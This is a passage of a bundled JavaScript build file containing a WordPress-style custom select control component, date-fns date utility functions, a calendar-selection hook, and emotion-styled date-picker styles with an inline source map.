39281 function applyOptionDeprecations({
39282 __experimentalHint,
39283 ...rest
39284 }) {
39285 return {
39286 hint: __experimentalHint,
39287 ...rest
39288 };
39289 }
39290 function getDescribedBy(currentName, describedBy) {
39291 if (describedBy) {
39292 return describedBy;
39293 }
39294 return (0, import_i18n41.sprintf)((0, import_i18n41.__)("Currently selected: %s"), currentName);
39295 }
39296 function CustomSelectControl(props) {
39297 const {
39298 __next40pxDefaultSize = false,
39299 __shouldNotWarnDeprecated36pxSize,
39300 describedBy,
39301 options: options2,
39302 onChange,
39303 size: size3 = "default",
39304 value,
39305 className: classNameProp,
39306 showSelectedHint = false,
39307 ...restProps
39308 } = useDeprecatedProps5(props);
39309 maybeWarnDeprecated36pxSize({
39310 componentName: "CustomSelectControl",
39311 __next40pxDefaultSize,
39312 size: size3,
39313 __shouldNotWarnDeprecated36pxSize
39314 });
39315 const descriptionId = (0, import_compose50.useInstanceId)(CustomSelectControl, "custom-select-control__description");
39316 const store = useSelectStore({
39317 async setValue(nextValue) {
39318 const nextOption = options2.find((item2) => item2.key === nextValue);
39319 if (!onChange || !nextOption) {
39320 return;
39321 }
39322 await Promise.resolve();
39323 const state = store.getState();
39324 const changeObject = {
39325 highlightedIndex: state.renderedItems.findIndex((item2) => item2.value === nextValue),
39326 inputValue: "",
39327 isOpen: state.open,
39328 selectedItem: nextOption,
39329 type: ""
39330 };
39331 onChange(changeObject);
39332 },
39333 value: value?.key,
39334 // Setting the first option as a default value when no value is provided
39335 // is already done natively by the underlying Ariakit component,
39336 // but doing this explicitly avoids the `onChange` callback from firing
39337 // on initial render, thus making this implementation closer to the v1.
39338 defaultValue: options2[0]?.key
39339 });
39340 const children = options2.map(applyOptionDeprecations).map(({
39341 name,
39342 key,
39343 hint,
39344 style: style2,
39345 className: className2
39346 }) => {
39347 const withHint = /* @__PURE__ */ (0, import_jsx_runtime192.jsxs)(WithHintItemWrapper, {
39348 children: [/* @__PURE__ */ (0, import_jsx_runtime192.jsx)("span", {
39349 children: name
39350 }), /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(WithHintItemHint, {
39351 // Keeping the classname for legacy reasons
39352 className: "components-custom-select-control__item-hint",
39353 children: hint
39354 })]
39355 });
39356 return /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(item_default, {
39357 value: key,
39358 children: hint ? withHint : name,
39359 style: style2,
39360 className: clsx_default(
39361 className2,
39362 // Keeping the classnames for legacy reasons
39363 "components-custom-select-control__item",
39364 {
39365 "has-hint": hint
39366 }
39367 )
39368 }, key);
39369 });
39370 const currentValue = useStoreState(store, "value");
39371 const selectedOption = options2?.map(applyOptionDeprecations)?.find(({
39372 key
39373 }) => currentValue === key) ?? options2[0];
39374 const renderSelectedValue = () => {
39375 if (!showSelectedHint || !selectedOption.hint) {
39376 return selectedOption?.name;
39377 }
39378 return /* @__PURE__ */ (0, import_jsx_runtime192.jsxs)(SelectedExperimentalHintWrapper, {
39379 children: [selectedOption?.name, /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(SelectedExperimentalHintItem, {
39380 // Keeping the classname for legacy reasons
39381 className: "components-custom-select-control__hint",
39382 children: selectedOption?.hint
39383 })]
39384 });
39385 };
39386 const translatedSize = (() => {
39387 if (__next40pxDefaultSize && size3 === "default" || size3 === "__unstable-large") {
39388 return "default";
39389 }
39390 if (!__next40pxDefaultSize && size3 === "default") {
39391 return "compact";
39392 }
39393 return size3;
39394 })();
39395 return /* @__PURE__ */ (0, import_jsx_runtime192.jsxs)(import_jsx_runtime192.Fragment, {
39396 children: [/* @__PURE__ */ (0, import_jsx_runtime192.jsx)(custom_select_default, {
39397 "aria-describedby": descriptionId,
39398 renderSelectedValue,
39399 size: translatedSize,
39400 store,
39401 className: clsx_default(
39402 // Keeping the classname for legacy reasons
39403 "components-custom-select-control",
39404 classNameProp
39405 ),
39406 isLegacy: true,
39407 ...restProps,
39408 children
39409 }), /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(component_default2, {
39410 children: /* @__PURE__ */ (0, import_jsx_runtime192.jsx)("span", {
39411 id: descriptionId,
39412 children: getDescribedBy(selectedOption?.name, describedBy)
39413 })
39414 })]
39415 });
39416 }
39417 var custom_select_control_default = CustomSelectControl;
39418
39419 // node_modules/date-fns/toDate.mjs
39420 function toDate(argument) {
39421 const argStr = Object.prototype.toString.call(argument);
39422 if (argument instanceof Date || typeof argument === "object" && argStr === "[object Date]") {
39423 return new argument.constructor(+argument);
39424 } else if (typeof argument === "number" || argStr === "[object Number]" || typeof argument === "string" || argStr === "[object String]") {
39425 return new Date(argument);
39426 } else {
39427 return /* @__PURE__ */ new Date(NaN);
39428 }
39429 }
39430
39431 // node_modules/date-fns/constructFrom.mjs
39432 function constructFrom(date, value) {
39433 if (date instanceof Date) {
39434 return new date.constructor(value);
39435 } else {
39436 return new Date(value);
39437 }
39438 }
39439
39440 // node_modules/date-fns/addDays.mjs
39441 function addDays(date, amount) {
39442 const _date = toDate(date);
39443 if (isNaN(amount)) return constructFrom(date, NaN);
39444 if (!amount) {
39445 return _date;
39446 }
39447 _date.setDate(_date.getDate() + amount);
39448 return _date;
39449 }
39450
39451 // node_modules/date-fns/addMonths.mjs
39452 function addMonths(date, amount) {
39453 const _date = toDate(date);
39454 if (isNaN(amount)) return constructFrom(date, NaN);
39455 if (!amount) {
39456 return _date;
39457 }
39458 const dayOfMonth = _date.getDate();
39459 const endOfDesiredMonth = constructFrom(date, _date.getTime());
39460 endOfDesiredMonth.setMonth(_date.getMonth() + amount + 1, 0);
39461 const daysInMonth = endOfDesiredMonth.getDate();
39462 if (dayOfMonth >= daysInMonth) {
39463 return endOfDesiredMonth;
39464 } else {
39465 _date.setFullYear(
39466 endOfDesiredMonth.getFullYear(),
39467 endOfDesiredMonth.getMonth(),
39468 dayOfMonth
39469 );
39470 return _date;
39471 }
39472 }
39473
39474 // node_modules/date-fns/constants.mjs
39475 var daysInYear = 365.2425;
39476 var maxTime = Math.pow(10, 8) * 24 * 60 * 60 * 1e3;
39477 var minTime = -maxTime;
39478 var millisecondsInDay = 864e5;
39479 var secondsInHour = 3600;
39480 var secondsInDay = secondsInHour * 24;
39481 var secondsInWeek = secondsInDay * 7;
39482 var secondsInYear = secondsInDay * daysInYear;
39483 var secondsInMonth = secondsInYear / 12;
39484 var secondsInQuarter = secondsInMonth * 3;
39485
39486 // node_modules/date-fns/_lib/defaultOptions.mjs
39487 var defaultOptions2 = {};
39488 function getDefaultOptions() {
39489 return defaultOptions2;
39490 }
39491
39492 // node_modules/date-fns/startOfWeek.mjs
39493 function startOfWeek(date, options2) {
39494 const defaultOptions4 = getDefaultOptions();
39495 const weekStartsOn = options2?.weekStartsOn ?? options2?.locale?.options?.weekStartsOn ?? defaultOptions4.weekStartsOn ?? defaultOptions4.locale?.options?.weekStartsOn ?? 0;
39496 const _date = toDate(date);
39497 const day = _date.getDay();
39498 const diff = (day < weekStartsOn ? 7 : 0) + day - weekStartsOn;
39499 _date.setDate(_date.getDate() - diff);
39500 _date.setHours(0, 0, 0, 0);
39501 return _date;
39502 }
39503
39504 // node_modules/date-fns/startOfDay.mjs
39505 function startOfDay(date) {
39506 const _date = toDate(date);
39507 _date.setHours(0, 0, 0, 0);
39508 return _date;
39509 }
39510
39511 // node_modules/date-fns/_lib/getTimezoneOffsetInMilliseconds.mjs
39512 function getTimezoneOffsetInMilliseconds(date) {
39513 const _date = toDate(date);
39514 const utcDate = new Date(
39515 Date.UTC(
39516 _date.getFullYear(),
39517 _date.getMonth(),
39518 _date.getDate(),
39519 _date.getHours(),
39520 _date.getMinutes(),
39521 _date.getSeconds(),
39522 _date.getMilliseconds()
39523 )
39524 );
39525 utcDate.setUTCFullYear(_date.getFullYear());
39526 return +date - +utcDate;
39527 }
39528
39529 // node_modules/date-fns/differenceInCalendarDays.mjs
39530 function differenceInCalendarDays(dateLeft, dateRight) {
39531 const startOfDayLeft = startOfDay(dateLeft);
39532 const startOfDayRight = startOfDay(dateRight);
39533 const timestampLeft = +startOfDayLeft - getTimezoneOffsetInMilliseconds(startOfDayLeft);
39534 const timestampRight = +startOfDayRight - getTimezoneOffsetInMilliseconds(startOfDayRight);
39535 return Math.round((timestampLeft - timestampRight) / millisecondsInDay);
39536 }
39537
39538 // node_modules/date-fns/addWeeks.mjs
39539 function addWeeks(date, amount) {
39540 const days = amount * 7;
39541 return addDays(date, days);
39542 }
39543
39544 // node_modules/date-fns/addYears.mjs
39545 function addYears(date, amount) {
39546 return addMonths(date, amount * 12);
39547 }
39548
39549 // node_modules/date-fns/isSameDay.mjs
39550 function isSameDay(dateLeft, dateRight) {
39551 const dateLeftStartOfDay = startOfDay(dateLeft);
39552 const dateRightStartOfDay = startOfDay(dateRight);
39553 return +dateLeftStartOfDay === +dateRightStartOfDay;
39554 }
39555
39556 // node_modules/date-fns/endOfMonth.mjs
39557 function endOfMonth(date) {
39558 const _date = toDate(date);
39559 const month = _date.getMonth();
39560 _date.setFullYear(_date.getFullYear(), month + 1, 0);
39561 _date.setHours(23, 59, 59, 999);
39562 return _date;
39563 }
39564
39565 // node_modules/date-fns/eachDayOfInterval.mjs
39566 function eachDayOfInterval(interval, options2) {
39567 const startDate = toDate(interval.start);
39568 const endDate = toDate(interval.end);
39569 let reversed = +startDate > +endDate;
39570 const endTime = reversed ? +startDate : +endDate;
39571 const currentDate = reversed ? endDate : startDate;
39572 currentDate.setHours(0, 0, 0, 0);
39573 let step = options2?.step ?? 1;
39574 if (!step) return [];
39575 if (step < 0) {
39576 step = -step;
39577 reversed = !reversed;
39578 }
39579 const dates = [];
39580 while (+currentDate <= endTime) {
39581 dates.push(toDate(currentDate));
39582 currentDate.setDate(currentDate.getDate() + step);
39583 currentDate.setHours(0, 0, 0, 0);
39584 }
39585 return reversed ? dates.reverse() : dates;
39586 }
39587
39588 // node_modules/date-fns/startOfMinute.mjs
39589 function startOfMinute(date) {
39590 const _date = toDate(date);
39591 _date.setSeconds(0, 0);
39592 return _date;
39593 }
39594
39595 // node_modules/date-fns/eachMonthOfInterval.mjs
39596 function eachMonthOfInterval(interval, options2) {
39597 const startDate = toDate(interval.start);
39598 const endDate = toDate(interval.end);
39599 let reversed = +startDate > +endDate;
39600 const endTime = reversed ? +startDate : +endDate;
39601 const currentDate = reversed ? endDate : startDate;
39602 currentDate.setHours(0, 0, 0, 0);
39603 currentDate.setDate(1);
39604 let step = options2?.step ?? 1;
39605 if (!step) return [];
39606 if (step < 0) {
39607 step = -step;
39608 reversed = !reversed;
39609 }
39610 const dates = [];
39611 while (+currentDate <= endTime) {
39612 dates.push(toDate(currentDate));
39613 currentDate.setMonth(currentDate.getMonth() + step);
39614 }
39615 return reversed ? dates.reverse() : dates;
39616 }
39617
39618 // node_modules/date-fns/eachWeekOfInterval.mjs
39619 function eachWeekOfInterval(interval, options2) {
39620 const startDate = toDate(interval.start);
39621 const endDate = toDate(interval.end);
39622 let reversed = +startDate > +endDate;
39623 const startDateWeek = reversed ? startOfWeek(endDate, options2) : startOfWeek(startDate, options2);
39624 const endDateWeek = reversed ? startOfWeek(startDate, options2) : startOfWeek(endDate, options2);
39625 startDateWeek.setHours(15);
39626 endDateWeek.setHours(15);
39627 const endTime = +endDateWeek.getTime();
39628 let currentDate = startDateWeek;
39629 let step = options2?.step ?? 1;
39630 if (!step) return [];
39631 if (step < 0) {
39632 step = -step;
39633 reversed = !reversed;
39634 }
39635 const dates = [];
39636 while (+currentDate <= endTime) {
39637 currentDate.setHours(0);
39638 dates.push(toDate(currentDate));
39639 currentDate = addWeeks(currentDate, step);
39640 currentDate.setHours(15);
39641 }
39642 return reversed ? dates.reverse() : dates;
39643 }
39644
39645 // node_modules/date-fns/startOfMonth.mjs
39646 function startOfMonth(date) {
39647 const _date = toDate(date);
39648 _date.setDate(1);
39649 _date.setHours(0, 0, 0, 0);
39650 return _date;
39651 }
39652
39653 // node_modules/date-fns/endOfWeek.mjs
39654 function endOfWeek(date, options2) {
39655 const defaultOptions4 = getDefaultOptions();
39656 const weekStartsOn = options2?.weekStartsOn ?? options2?.locale?.options?.weekStartsOn ?? defaultOptions4.weekStartsOn ?? defaultOptions4.locale?.options?.weekStartsOn ?? 0;
39657 const _date = toDate(date);
39658 const day = _date.getDay();
39659 const diff = (day < weekStartsOn ? -7 : 0) + 6 - (day - weekStartsOn);
39660 _date.setDate(_date.getDate() + diff);
39661 _date.setHours(23, 59, 59, 999);
39662 return _date;
39663 }
39664
39665 // node_modules/date-fns/getDaysInMonth.mjs
39666 function getDaysInMonth(date) {
39667 const _date = toDate(date);
39668 const year = _date.getFullYear();
39669 const monthIndex = _date.getMonth();
39670 const lastDayOfMonth = constructFrom(date, 0);
39671 lastDayOfMonth.setFullYear(year, monthIndex + 1, 0);
39672 lastDayOfMonth.setHours(0, 0, 0, 0);
39673 return lastDayOfMonth.getDate();
39674 }
39675
39676 // node_modules/date-fns/isAfter.mjs
39677 function isAfter(date, dateToCompare) {
39678 const _date = toDate(date);
39679 const _dateToCompare = toDate(dateToCompare);
39680 return _date.getTime() > _dateToCompare.getTime();
39681 }
39682
39683 // node_modules/date-fns/isBefore.mjs
39684 function isBefore(date, dateToCompare) {
39685 const _date = toDate(date);
39686 const _dateToCompare = toDate(dateToCompare);
39687 return +_date < +_dateToCompare;
39688 }
39689
39690 // node_modules/date-fns/isEqual.mjs
39691 function isEqual(leftDate, rightDate) {
39692 const _dateLeft = toDate(leftDate);
39693 const _dateRight = toDate(rightDate);
39694 return +_dateLeft === +_dateRight;
39695 }
39696
39697 // node_modules/date-fns/isSameMonth.mjs
39698 function isSameMonth(dateLeft, dateRight) {
39699 const _dateLeft = toDate(dateLeft);
39700 const _dateRight = toDate(dateRight);
39701 return _dateLeft.getFullYear() === _dateRight.getFullYear() && _dateLeft.getMonth() === _dateRight.getMonth();
39702 }
39703
39704 // node_modules/date-fns/subDays.mjs
39705 function subDays(date, amount) {
39706 return addDays(date, -amount);
39707 }
39708
39709 // node_modules/date-fns/setMonth.mjs
39710 function setMonth(date, month) {
39711 const _date = toDate(date);
39712 const year = _date.getFullYear();
39713 const day = _date.getDate();
39714 const dateWithDesiredMonth = constructFrom(date, 0);
39715 dateWithDesiredMonth.setFullYear(year, month, 15);
39716 dateWithDesiredMonth.setHours(0, 0, 0, 0);
39717 const daysInMonth = getDaysInMonth(dateWithDesiredMonth);
39718 _date.setMonth(month, Math.min(day, daysInMonth));
39719 return _date;
39720 }
39721
39722 // node_modules/date-fns/set.mjs
39723 function set(date, values) {
39724 let _date = toDate(date);
39725 if (isNaN(+_date)) {
39726 return constructFrom(date, NaN);
39727 }
39728 if (values.year != null) {
39729 _date.setFullYear(values.year);
39730 }
39731 if (values.month != null) {
39732 _date = setMonth(_date, values.month);
39733 }
39734 if (values.date != null) {
39735 _date.setDate(values.date);
39736 }
39737 if (values.hours != null) {
39738 _date.setHours(values.hours);
39739 }
39740 if (values.minutes != null) {
39741 _date.setMinutes(values.minutes);
39742 }
39743 if (values.seconds != null) {
39744 _date.setSeconds(values.seconds);
39745 }
39746 if (values.milliseconds != null) {
39747 _date.setMilliseconds(values.milliseconds);
39748 }
39749 return _date;
39750 }
39751
39752 // node_modules/date-fns/setYear.mjs
39753 function setYear(date, year) {
39754 const _date = toDate(date);
39755 if (isNaN(+_date)) {
39756 return constructFrom(date, NaN);
39757 }
39758 _date.setFullYear(year);
39759 return _date;
39760 }
39761
39762 // node_modules/date-fns/startOfToday.mjs
39763 function startOfToday() {
39764 return startOfDay(Date.now());
39765 }
39766
39767 // node_modules/date-fns/subMonths.mjs
39768 function subMonths(date, amount) {
39769 return addMonths(date, -amount);
39770 }
39771
39772 // node_modules/date-fns/subWeeks.mjs
39773 function subWeeks(date, amount) {
39774 return addWeeks(date, -amount);
39775 }
39776
39777 // node_modules/date-fns/subYears.mjs
39778 function subYears(date, amount) {
39779 return addYears(date, -amount);
39780 }
39781
39782 // packages/components/build-module/date-time/date/index.mjs
39783 var import_i18n42 = __toESM(require_i18n(), 1);
39784 var import_date3 = __toESM(require_date(), 1);
39785 var import_element128 = __toESM(require_element(), 1);
39786
39787 // packages/components/build-module/date-time/date/use-lilius/index.mjs
39788 var import_element127 = __toESM(require_element(), 1);
39789 var Day = /* @__PURE__ */ (function(Day22) {
39790 Day22[Day22["SUNDAY"] = 0] = "SUNDAY";
39791 Day22[Day22["MONDAY"] = 1] = "MONDAY";
39792 Day22[Day22["TUESDAY"] = 2] = "TUESDAY";
39793 Day22[Day22["WEDNESDAY"] = 3] = "WEDNESDAY";
39794 Day22[Day22["THURSDAY"] = 4] = "THURSDAY";
39795 Day22[Day22["FRIDAY"] = 5] = "FRIDAY";
39796 Day22[Day22["SATURDAY"] = 6] = "SATURDAY";
39797 return Day22;
39798 })({});
39799 var inRange = (date, min3, max3) => (isEqual(date, min3) || isAfter(date, min3)) && (isEqual(date, max3) || isBefore(date, max3));
39800 var clearTime2 = (date) => set(date, {
39801 hours: 0,
39802 minutes: 0,
39803 seconds: 0,
39804 milliseconds: 0
39805 });
39806 var useLilius = ({
39807 weekStartsOn = Day.SUNDAY,
39808 viewing: initialViewing = /* @__PURE__ */ new Date(),
39809 selected: initialSelected = [],
39810 numberOfMonths = 1
39811 } = {}) => {
39812 const [viewing, setViewing] = (0, import_element127.useState)(initialViewing);
39813 const viewToday = (0, import_element127.useCallback)(() => setViewing(startOfToday()), [setViewing]);
39814 const viewMonth = (0, import_element127.useCallback)((month) => setViewing((v3) => setMonth(v3, month)), []);
39815 const viewPreviousMonth = (0, import_element127.useCallback)(() => setViewing((v3) => subMonths(v3, 1)), []);
39816 const viewNextMonth = (0, import_element127.useCallback)(() => setViewing((v3) => addMonths(v3, 1)), []);
39817 const viewYear = (0, import_element127.useCallback)((year) => setViewing((v3) => setYear(v3, year)), []);
39818 const viewPreviousYear = (0, import_element127.useCallback)(() => setViewing((v3) => subYears(v3, 1)), []);
39819 const viewNextYear = (0, import_element127.useCallback)(() => setViewing((v3) => addYears(v3, 1)), []);
39820 const [selected, setSelected] = (0, import_element127.useState)(initialSelected.map(clearTime2));
39821 const clearSelected = () => setSelected([]);
39822 const isSelected2 = (0, import_element127.useCallback)((date) => selected.findIndex((s3) => isEqual(s3, date)) > -1, [selected]);
39823 const select = (0, import_element127.useCallback)((date, replaceExisting) => {
39824 if (replaceExisting) {
39825 setSelected(Array.isArray(date) ? date : [date]);
39826 } else {
39827 setSelected((selectedItems) => selectedItems.concat(Array.isArray(date) ? date : [date]));
39828 }
39829 }, []);
39830 const deselect = (0, import_element127.useCallback)((date) => setSelected((selectedItems) => Array.isArray(date) ? selectedItems.filter((s3) => !date.map((d3) => d3.getTime()).includes(s3.getTime())) : selectedItems.filter((s3) => !isEqual(s3, date))), []);
39831 const toggle = (0, import_element127.useCallback)((date, replaceExisting) => isSelected2(date) ? deselect(date) : select(date, replaceExisting), [deselect, isSelected2, select]);
39832 const selectRange = (0, import_element127.useCallback)((start, end, replaceExisting) => {
39833 if (replaceExisting) {
39834 setSelected(eachDayOfInterval({
39835 start,
39836 end
39837 }));
39838 } else {
39839 setSelected((selectedItems) => selectedItems.concat(eachDayOfInterval({
39840 start,
39841 end
39842 })));
39843 }
39844 }, []);
39845 const deselectRange = (0, import_element127.useCallback)((start, end) => {
39846 setSelected((selectedItems) => selectedItems.filter((s3) => !eachDayOfInterval({
39847 start,
39848 end
39849 }).map((d3) => d3.getTime()).includes(s3.getTime())));
39850 }, []);
39851 const calendar = (0, import_element127.useMemo)(() => eachMonthOfInterval({
39852 start: startOfMonth(viewing),
39853 end: endOfMonth(addMonths(viewing, numberOfMonths - 1))
39854 }).map((month) => eachWeekOfInterval({
39855 start: startOfMonth(month),
39856 end: endOfMonth(month)
39857 }, {
39858 weekStartsOn
39859 }).map((week) => eachDayOfInterval({
39860 start: startOfWeek(week, {
39861 weekStartsOn
39862 }),
39863 end: endOfWeek(week, {
39864 weekStartsOn
39865 })
39866 }))), [viewing, weekStartsOn, numberOfMonths]);
39867 return {
39868 clearTime: clearTime2,
39869 inRange,
39870 viewing,
39871 setViewing,
39872 viewToday,
39873 viewMonth,
39874 viewPreviousMonth,
39875 viewNextMonth,
39876 viewYear,
39877 viewPreviousYear,
39878 viewNextYear,
39879 selected,
39880 setSelected,
39881 clearSelected,
39882 isSelected: isSelected2,
39883 select,
39884 deselect,
39885 toggle,
39886 selectRange,
39887 deselectRange,
39888 calendar
39889 };
39890 };
39891
39892 // packages/components/build-module/date-time/date/styles.mjs
39893 function _EMOTION_STRINGIFIED_CSS_ERROR__28() {
39894 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
39895 }
39896 var Wrapper3 = /* @__PURE__ */ createStyled("div", false ? {
39897 target: "e105ri6r7"
39898 } : {
39899 target: "e105ri6r7",
39900 label: "Wrapper"
39901 })(boxSizingReset, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFjaUMiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uLy4uL2J1dHRvbic7XG5pbXBvcnQgeyBib3hTaXppbmdSZXNldCwgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBIU3RhY2sgfSBmcm9tICcuLi8uLi9oLXN0YWNrJztcbmltcG9ydCB7IEhlYWRpbmcgfSBmcm9tICcuLi8uLi9oZWFkaW5nJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5leHBvcnQgY29uc3QgV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IGJveFNpemluZ1Jlc2V0IH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYXZpZ2F0b3IgPSBzdHlsZWQoIEhTdGFjayApYFxuXHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggMiApIH07XG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMC41ZnIgcmVwZWF0KCA1LCAxZnIgKSAwLjVmcjtcblx0anVzdGlmeS1pdGVtczogY2VudGVyO1xuXHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgVmlld1ByZXZpb3VzTW9udGhCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHRncmlkLWNvbHVtbjogMSAvIDI7XG5gO1xuXG5leHBvcnQgY29uc3QgVmlld05leHRNb250aEJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdGdyaWQtY29sdW1uOiA3IC8gODtcbmA7XG5cbmV4cG9ydCBjb25zdCBOYXZpZ2F0b3JIZWFkaW5nID0gc3R5bGVkKCBIZWFkaW5nIClgXG5cdGZvbnQtc2l6ZTogJHsgQ09ORklHLmZvbnRTaXplIH07XG5cdGZvbnQtd2VpZ2h0OiAkeyBDT05GSUcuZm9udFdlaWdodCB9O1xuXHRncmlkLWNvbHVtbjogMiAvIDc7XG5cblx0c3Ryb25nIHtcblx0XHRmb250LXdlaWdodDogJHsgQ09ORklHLmZvbnRXZWlnaHRIZWFkaW5nIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBDYWxlbmRhciA9IHN0eWxlZC5kaXZgXG5cdGNvbHVtbi1nYXA6ICR7IHNwYWNlKCAyICkgfTtcblx0ZGlzcGxheTogZ3JpZDtcblx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAwLjVmciByZXBlYXQoIDUsIDFmciApIDAuNWZyO1xuXHRqdXN0aWZ5LWl0ZW1zOiBjZW50ZXI7XG5cdHJvdy1nYXA6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEYXlPZldlZWsgPSBzdHlsZWQuZGl2YFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDcwMCBdIH07XG5cdGZvbnQtc2l6ZTogJHsgQ09ORklHLmZvbnRTaXplIH07XG5cdGxpbmUtaGVpZ2h0OiAkeyBDT05GSUcuZm9udExpbmVIZWlnaHRCYXNlIH07XG5gO1xuXG5leHBvcnQgY29uc3QgRGF5QnV0dG9uID0gc3R5bGVkKCBCdXR0b24sIHtcblx0c2hvdWxkRm9yd2FyZFByb3A6ICggcHJvcDogc3RyaW5nICkgPT5cblx0XHQhIFsgJ2NvbHVtbicsICdpc1NlbGVjdGVkJywgJ2lzVG9kYXknLCAnaGFzRXZlbnRzJyBdLmluY2x1ZGVzKCBwcm9wICksXG59ICk8IHtcblx0Y29sdW1uOiBudW1iZXI7XG5cdGlzU2VsZWN0ZWQ6IGJvb2xlYW47XG5cdGlzVG9kYXk6IGJvb2xlYW47XG5cdGhhc0V2ZW50czogYm9vbGVhbjtcbn0gPmBcblx0Z3JpZC1jb2x1bW46ICR7ICggcHJvcHMgKSA9PiBwcm9wcy5jb2x1bW4gfTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblxuXHQkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy5kaXNhYmxlZCAmJlxuXHRcdGBcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHRgIH1cblxuXHQmJiYge1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdGhlaWdodDogJHsgc3BhY2UoIDcgKSB9O1xuXHRcdHdpZHRoOiAkeyBzcGFjZSggNyApIH07XG5cdFx0Zm9udC13ZWlnaHQ6IDQwMDtcblxuXHRcdCR7ICggcHJvcHMgKSA9PlxuXHRcdFx0cHJvcHMuaXNTZWxlY3RlZCAmJlxuXHRcdFx0YFxuXHRcdFx0XHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cblx0XHRcdFx0Jixcblx0XHRcdFx0Jjpob3Zlcjpub3QoOmRpc2FibGVkLCBbYXJpYS1kaXNhYmxlZD10cnVlXSkge1xuXHRcdFx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblx0XHRcdFx0fVxuXG5cdFx0XHRcdCY6Zm9jdXM6bm90KDpkaXNhYmxlZCksXG5cdFx0XHRcdCY6Zm9jdXM6bm90KDpkaXNhYmxlZCkge1xuXHRcdFx0XHRcdGJvcmRlcjogJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSBzb2xpZCBjdXJyZW50Q29sb3I7XG5cdFx0XHRcdH1cblxuXHRcdFx0XHQvKiBIaWdobGlnaHQgdGhlIHNlbGVjdGVkIGRheSBmb3IgaGlnaC1jb250cmFzdCBtb2RlICovXG5cdFx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0XHRjb250ZW50OiAnJztcblx0XHRcdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHRcdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0XHRcdFx0aW5zZXQ6IDA7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRcdFx0XHRib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdFx0fVxuXHRcdFx0YCB9XG5cblx0XHQkeyAoIHByb3BzICkgPT5cblx0XHRcdCEgcHJvcHMuaXNTZWxlY3RlZCAmJlxuXHRcdFx0cHJvcHMuaXNUb2RheSAmJlxuXHRcdFx0YFxuXHRcdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDIwMCBdIH07XG5cdFx0XHRgIH1cblx0fVxuXG5cdCR7ICggcHJvcHMgKSA9PlxuXHRcdHByb3BzLmhhc0V2ZW50cyAmJlxuXHRcdGBcblx0XHQ6OmJlZm9yZSB7XG5cdFx0XHRib3JkZXI6IDJweCBzb2xpZCAke1xuXHRcdFx0XHRwcm9wcy5pc1NlbGVjdGVkXG5cdFx0XHRcdFx0PyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWRcblx0XHRcdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnRcblx0XHRcdH07XG5cdFx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzUm91bmQgfTtcblx0XHRcdGNvbnRlbnQ6IFwiIFwiO1xuXHRcdFx0bGVmdDogNTAlO1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgOXB4KTtcblx0XHR9XG5cdFx0YCB9XG5gO1xuIl19 */"));
39902 var Navigator = /* @__PURE__ */ createStyled(component_default9, false ? {
39903 target: "e105ri6r6"
39904 } : {
39905 target: "e105ri6r6",
39906 label: "Navigator"
